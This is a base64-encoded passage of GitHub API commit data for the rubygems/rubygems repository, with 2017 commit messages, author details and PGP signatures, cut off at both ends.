C4xL2dlbXMvaG9lLTMuMTYuMS9saWIvaG9lL2RlcHMucmI6NDM6aW4gYGJsb2NrIGluIGRlZmluZV9kZXBzX3Rhc2tzJ1xuVGFza3M6IFRPUCA9PiBuZXdiID0+IGNoZWNrX2V4dHJhX2RlcHNcbihTZWUgZnVsbCB0cmFjZSBieSBydW5uaW5nIHRhc2sgd2l0aCAtLXRyYWNlKVxuYGBgXG5cbiMgQWZ0ZXI6XG5cbmBgYFxuW2NvZGUvcnVieWdlbXNdJSByYWtlIG5ld2JcbmdpdCBzdWJtb2R1bGUgdXBkYXRlIC0taW5pdFxuU3VibW9kdWxlIHBhdGggJ2J1bmRsZXInOiBjaGVja2VkIG91dCAnNTA5MDU4MzlkYWE2YzM4MWIzNzU5Mzc1ZDY5MTk0MzA5YzVmNjU0NCdcblRvIG92ZXJyaWRlIHlvdXIgZGVmYXVsdCByYWtlIHZlcnNpb24sIHJ1bjogYHJha2UgX3gueS56XyB0YXNrX25hbWVgOlxuICAgICAgICBHZW06OkxvYWRFcnJvcjogY2FuJ3QgYWN0aXZhdGUgcmFrZS0xMC41LjAsIGFscmVhZHkgYWN0aXZhdGVkIHJha2UtMTIuMC4wXG5gYGAiLCJ0cmVlIjp7InNoYSI6ImM5YmY4MThhNDg3ZTQ5YjEyZjc5MjVlZjU4MGE4M2UyOWUxZDk5ODciLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9jOWJmODE4YTQ4N2U0OWIxMmY3OTI1ZWY1ODBhODNlMjllMWQ5OTg3In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMTk3NDZjYmM1ODM0ZTViYzUwMWIzM2NlYTM3MjliMjNiNGMxMTc3OSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8xOTc0NmNiYzU4MzRlNWJjNTAxYjMzY2VhMzcyOWIyM2I0YzExNzc5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzE5NzQ2Y2JjNTgzNGU1YmM1MDFiMzNjZWEzNzI5YjIzYjRjMTE3NzkiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMTk3NDZjYmM1ODM0ZTViYzUwMWIzM2NlYTM3MjliMjNiNGMxMTc3OS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjA5NzIyMmJjY2M2MjUwMWVhYzE4NGQwYzEzODI4NGM2Yzg4MWZmNjYiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMDk3MjIyYmNjYzYyNTAxZWFjMTg0ZDBjMTM4Mjg0YzZjODgxZmY2NiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8wOTcyMjJiY2NjNjI1MDFlYWMxODRkMGMxMzgyODRjNmM4ODFmZjY2In0seyJzaGEiOiI4YzdmNzhiNTBkODBmMWE3MDBhNGJlZTBkYzQxODQ4ZDYyYTM2NWEzIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzhjN2Y3OGI1MGQ4MGYxYTcwMGE0YmVlMGRjNDE4NDhkNjJhMzY1YTMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOGM3Zjc4YjUwZDgwZjFhNzAwYTRiZWUwZGM0MTg0OGQ2MmEzNjVhMyJ9XX0seyJzaGEiOiIwZGFmY2U4MTg4NjkxYTdiOTQyZWQ0NzI0YTBkMGU0NjJlNzRhODA5IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0wOC0wOVQxMjowNjo0MVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTA4LTA5VDEyOjA2OjQxWiJ9LCJtZXNzYWdlIjoiRml4ZWQgZ3JhbW1lciIsInRyZWUiOnsic2hhIjoiNzIyZjg0Y2YyMzNkZWQ0NTc0YWUwNWRlMGRkMDEyODAyOTc3MzVmOCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzcyMmY4NGNmMjMzZGVkNDU3NGFlMDVkZTBkZDAxMjgwMjk3NzM1ZjgifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8wZGFmY2U4MTg4NjkxYTdiOTQyZWQ0NzI0YTBkMGU0NjJlNzRhODA5IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxtSyt0RUFDZ2tRK2M4VFFYSmtcbitzS1Z2d2dBME9KVkpNNnVDOGJraUU3US9sQThTVGFZT3FEalBWRTQ4R29xMlhrempHWC82Z2xyZEoyOFB3ZU5cbkdrOXRvajB4dWNVcS85SktFNGVQQXozVkNjTjNUVk9oakRhRUhUZGRiWnFDTHEzUGJ6RVE1MDFRdFV0SDRJenpcbk9PREZXazRhQkx1cHpkNWJtZXZvQTVuanRkTjJEUVZUVVQxbHRMcXdrZHY5Zng3aVdwb0pnRlZweGkvRjNFcm1cbmpqN0FzNUZ3dCtubG9UeG1GRHdCQ2U3Vjh1cml0MW9oRXlYUG5wL0Z6Qkk3eGFibm1ia2tKcXZJOG1STXVtc2lcbitqRVlJZWdNODEweGRmNW1XK2Iwdjgva29UbjhEMlJoaGwvWUx0K2pWdkg4NmwxTVhEeW1zWXpNcklIVW1WeUtcbmd1bGJTZU9BVHkrbC9JcGZicWk0Q0dPUEVmc3lqdz09XG49ZTl4MFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgNzIyZjg0Y2YyMzNkZWQ0NTc0YWUwNWRlMGRkMDEyODAyOTc3MzVmOFxucGFyZW50IDg1OThkYTZlYTAyZmU2OWMyMGY5M2FjNGQ1NTA0Y2E0YWJhNmZlNmJcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUwMjI4MDQwMSArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTAyMjgwNDAxICswOTAwXG5cbkZpeGVkIGdyYW1tZXJcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzBkYWZjZTgxODg2OTFhN2I5NDJlZDQ3MjRhMGQwZTQ2MmU3NGE4MDkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMGRhZmNlODE4ODY5MWE3Yjk0MmVkNDcyNGEwZDBlNDYyZTc0YTgwOSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wZGFmY2U4MTg4NjkxYTdiOTQyZWQ0NzI0YTBkMGU0NjJlNzRhODA5L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiODU5OGRhNmVhMDJmZTY5YzIwZjkzYWM0ZDU1MDRjYTRhYmE2ZmU2YiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy84NTk4ZGE2ZWEwMmZlNjljMjBmOTNhYzRkNTUwNGNhNGFiYTZmZTZiIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0Lzg1OThkYTZlYTAyZmU2OWMyMGY5M2FjNGQ1NTA0Y2E0YWJhNmZlNmIifV19LHsic2hhIjoiODU5OGRhNmVhMDJmZTY5YzIwZjkzYWM0ZDU1MDRjYTRhYmE2ZmU2YiIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMDgtMDlUMDc6MzA6NTNaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0wOC0wOVQwNzozMDo1M1oifSwibWVzc2FnZSI6Iklnbm9yZWQgdGVzdCBmb3IgcmVhbCB3b3JsZCBkZWZhdWx0IGdlbS5cblxuICBCZWNhdXNlIGRlZmF1bHQgZ2VtIHdhcyBlbmFibGVkIGFmdGVyIHJ1YnkgaW5zdGFsbGF0aW9uIHRoYXRcbiAgaXMgYG1ha2UgaW5zdGFsbGAiLCJ0cmVlIjp7InNoYSI6IjU3NjM1NTVjNjY4NDEzNjNmYjA0ZjUwMjJhYWFhYzY3OWUwMWI2YmIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy81NzYzNTU1YzY2ODQxMzYzZmIwNGY1MDIyYWFhYWM2NzllMDFiNmJiIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvODU5OGRhNmVhMDJmZTY5YzIwZjkzYWM0ZDU1MDRjYTRhYmE2ZmU2YiIsImNvbW1lbnRfY291bnQiOjEsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFsbUt1blVBQ2drUStjOFRRWEprXG4rc0xVVHdmL1JwcXV2ZGhNeXc2Y3JHT0VmbEdsTDdFTWVKYWVOcWovaHFsUTFhMVJWTlk4NllQMk1Zb2FJNmo1XG4xQ1d5MWVqRmdiZE82TUNrZVF2ZGRMTlpQT29FZHMvUjVqT25JaXQyb3pEVUJwSFdLbnllTHMveVJxcG53Qmc1XG5MNDBqVGR4QjMwTmNGMFpUU00zUUhHbldNcHljTXVRSzZlaWZMd3AyakEwcnRKR0w5ci9WM1FDcVZTeTJwZjU2XG4xYVR4dWpPQWhzaSs2MzUrUVFuaGxsNmhMU0pUczJndk93Rm5WYzVSR09tWDEwTkZ5Q2h3cUdPT2tEc3RTUXpkXG5acWJCcnk2ajloaFBIZk11dm0zaHNBS0xEQVgvUVdoMnl0OW1hYTZPRkxpdVd6Zzh2YlFYRUd2SisxVkJvREdDXG44cTNNbS8rK0VaS0IvMkNFV29tYUFWdHk3dXJ0QkE9PVxuPWF0RGJcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDU3NjM1NTVjNjY4NDEzNjNmYjA0ZjUwMjJhYWFhYzY3OWUwMWI2YmJcbnBhcmVudCAwOTcyMjJiY2NjNjI1MDFlYWMxODRkMGMxMzgyODRjNmM4ODFmZjY2XG5hdXRob3IgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MDIyNjM4NTMgKzA5MDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUwMjI2Mzg1MyArMDkwMFxuXG5JZ25vcmVkIHRlc3QgZm9yIHJlYWwgd29ybGQgZGVmYXVsdCBnZW0uXG5cbiAgQmVjYXVzZSBkZWZhdWx0IGdlbSB3YXMgZW5hYmxlZCBhZnRlciBydWJ5IGluc3RhbGxhdGlvbiB0aGF0XG4gIGlzIGBtYWtlIGluc3RhbGxgXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy84NTk4ZGE2ZWEwMmZlNjljMjBmOTNhYzRkNTUwNGNhNGFiYTZmZTZiIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0Lzg1OThkYTZlYTAyZmU2OWMyMGY5M2FjNGQ1NTA0Y2E0YWJhNmZlNmIiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvODU5OGRhNmVhMDJmZTY5YzIwZjkzYWM0ZDU1MDRjYTRhYmE2ZmU2Yi9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjA5NzIyMmJjY2M2MjUwMWVhYzE4NGQwYzEzODI4NGM2Yzg4MWZmNjYiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMDk3MjIyYmNjYzYyNTAxZWFjMTg0ZDBjMTM4Mjg0YzZjODgxZmY2NiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8wOTcyMjJiY2NjNjI1MDFlYWMxODRkMGMxMzgyODRjNmM4ODFmZjY2In1dfSx7InNoYSI6IjA5NzIyMmJjY2M2MjUwMWVhYzE4NGQwYzEzODI4NGM2Yzg4MWZmNjYiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMDhUMjM6MDk6MDNaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTA4LTA4VDIzOjA5OjAzWiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMTk4NSAtIGFydGh1ci1tYXJ6Om1hc3Rlciwgcj1icm9uemRvY1xuXG5TbWFsbCBzdHlsZSBmaXhlcyB0byBJbnN0YWxsZXIgU2V0XG5cblstXSBSZW1vdmUgcmVkdW5kYW50IGNvbW1hIGZyb20gSW5zdGFsbGVyU2V0I2xvY2FsPyIsInRyZWUiOnsic2hhIjoiNTM1NjUwMTcxNjYyMDE4NTUxODU4ZDNjNDZmOWEwYjcwYjU0YzdiZCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzUzNTY1MDE3MTY2MjAxODU1MTg1OGQzYzQ2ZjlhMGI3MGI1NGM3YmQifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8wOTcyMjJiY2NjNjI1MDFlYWMxODRkMGMxMzgyODRjNmM4ODFmZjY2IiwiY29tbWVudF